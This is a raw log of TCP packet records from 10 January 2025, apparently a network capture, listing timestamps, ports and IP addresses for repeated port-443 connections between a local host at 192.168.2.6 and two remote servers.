Jan 10, 2025 00:21:24.682037115 CET	443	49960	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.682401896 CET	49960	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.682473898 CET	443	49960	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.682804108 CET	49960	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.682804108 CET	49960	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.682832003 CET	443	49960	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.682833910 CET	49960	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.682851076 CET	443	49960	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.691957951 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.691988945 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.692127943 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.692127943 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.692147017 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.692224026 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.693397045 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.693419933 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.693504095 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.693512917 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.693578005 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.693578959 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.695293903 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.695334911 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.695419073 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.695419073 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.695430040 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.695528984 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.698105097 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.698136091 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.698329926 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.698339939 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.698388100 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.700095892 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.700118065 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.700220108 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.700227976 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.700737000 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.729923010 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.729969025 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.730026007 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.730068922 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.730976105 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.739655972 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.739734888 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.739948034 CET	443	49909	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.740034103 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.740034103 CET	49909	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.746282101 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.746337891 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.746495008 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.749243975 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.749284029 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.791132927 CET	49967	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.791166067 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.791270018 CET	49967	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.792604923 CET	49967	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.792613983 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.852972984 CET	49968	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.853017092 CET	443	49968	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.853100061 CET	49968	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.853921890 CET	49968	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.853935957 CET	443	49968	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.901724100 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:24.902095079 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:24.902122974 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:24.902484894 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:24.902884007 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:24.902951956 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:24.903084040 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:24.927077055 CET	443	49960	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:24.943340063 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:24.981364965 CET	49960	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:24.981376886 CET	443	49960	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.034737110 CET	49960	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.034765005 CET	443	49960	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.038938046 CET	49960	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.039011955 CET	443	49960	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.039146900 CET	49960	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.045979977 CET	49970	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.046039104 CET	443	49970	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.046128035 CET	49970	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.046468019 CET	49970	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.046489954 CET	443	49970	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.167984009 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.207792997 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.207911015 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.207926035 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.207959890 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.207993984 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.207994938 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.208014965 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.208050966 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.208069086 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.257551908 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.257580042 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.257651091 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.257671118 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.257733107 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.258513927 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.258533955 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.258620977 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.258630991 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.258718014 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.327250004 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.327795982 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.327817917 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.331204891 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.331269979 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.332633972 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.332736015 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.333097935 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.333120108 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.344862938 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.344892979 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.344980001 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.345011950 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.345519066 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.346044064 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.346060038 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.346121073 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.346131086 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.346189022 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.347018003 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.347035885 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.347114086 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.347122908 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.347184896 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.347994089 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.348011017 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.348129034 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.348138094 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.348192930 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.358793020 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.359154940 CET	49967	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.359175920 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.360258102 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.360349894 CET	49967	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.360851049 CET	49967	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.360929012 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.361226082 CET	49967	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.361234903 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.379398108 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.397994995 CET	443	49968	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.398794889 CET	49968	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.398806095 CET	443	49968	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.399197102 CET	443	49968	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.399662971 CET	49968	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.399733067 CET	443	49968	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.400443077 CET	49968	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.410670042 CET	49967	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.443331957 CET	443	49968	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.445902109 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.445929050 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.445991993 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.446023941 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.446053982 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.446067095 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.446624041 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.446645021 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.446727991 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.446736097 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.446784019 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.447185040 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.447202921 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.447273016 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.447279930 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.447326899 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.447849989 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.447870016 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.447936058 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.447942972 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.448016882 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.448889971 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.448909998 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.448962927 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.448970079 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.449023008 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.449630022 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.449647903 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.449718952 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.449726105 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.449784994 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.534173012 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.534199953 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.534323931 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.534358978 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.534415960 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.534446955 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.534465075 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.534523964 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.534532070 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.534569025 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.534590006 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.534801006 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.534817934 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.534869909 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.534877062 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.534943104 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.535439968 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.535455942 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.535557985 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.535563946 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.535654068 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.539330959 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.539350033 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.539434910 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.539448023 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.539493084 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.539783001 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.539803982 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.539863110 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.539870977 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.539912939 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.540138960 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.540160894 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.540200949 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.540209055 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.540273905 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.540771008 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.540792942 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.540864944 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.540874958 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.540910006 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.540930986 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.576833963 CET	443	49970	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.577303886 CET	49970	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.577315092 CET	443	49970	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.578366041 CET	443	49970	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.578458071 CET	49970	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.579423904 CET	49970	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.579524040 CET	443	49970	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.579675913 CET	49970	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.579682112 CET	443	49970	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.602163076 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.622577906 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.622608900 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.622706890 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.622739077 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.622760057 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.622785091 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.622819901 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.622829914 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.622857094 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.622905970 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.623125076 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.623141050 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.623204947 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.623218060 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.623274088 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.623442888 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.623461962 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.623514891 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.623522997 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.623570919 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.623750925 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.623766899 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.623820066 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.623826981 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.623873949 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.624105930 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.624121904 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.624197006 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.624205112 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.624300957 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.624315023 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.624363899 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.624387980 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.624396086 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.624425888 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.624464035 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.624826908 CET	49959	443	192.168.2.6	152.199.21.175
Jan 10, 2025 00:21:25.624841928 CET	443	49959	152.199.21.175	192.168.2.6
Jan 10, 2025 00:21:25.629342079 CET	49970	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.629359961 CET	443	49970	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.645000935 CET	49967	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.645013094 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.676249027 CET	49970	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.695307016 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.695332050 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.695359945 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.695368052 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.695374966 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.695439100 CET	49967	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.695470095 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.695481062 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.695571899 CET	49967	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.695571899 CET	49967	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.709738970 CET	49967	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.709795952 CET	443	49967	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.709884882 CET	49967	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.712409973 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.754360914 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.754384041 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.759191036 CET	443	49970	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.801151037 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.801167011 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.801233053 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.801251888 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.801254988 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.801285982 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.801285982 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.801301003 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.801373005 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.801399946 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.801399946 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.802809000 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.802840948 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.802850008 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.802864075 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.802879095 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.802889109 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.802895069 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.802921057 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.802951097 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.802951097 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.819816113 CET	49970	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.819828987 CET	443	49970	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.863737106 CET	49970	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.863744974 CET	443	49970	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.873944044 CET	443	49968	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.892122984 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.892154932 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.892201900 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.892235994 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.892252922 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.892323017 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.892333984 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.892477989 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.892713070 CET	49970	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.892796040 CET	443	49970	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.892990112 CET	443	49970	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.893059015 CET	49970	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.893059015 CET	49970	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.893423080 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.893476009 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.893501997 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.893508911 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.893541098 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.893594980 CET	49966	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:25.894220114 CET	443	49966	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:25.894247055 CET	443	49966	165.140.202.155	192.168.2.6
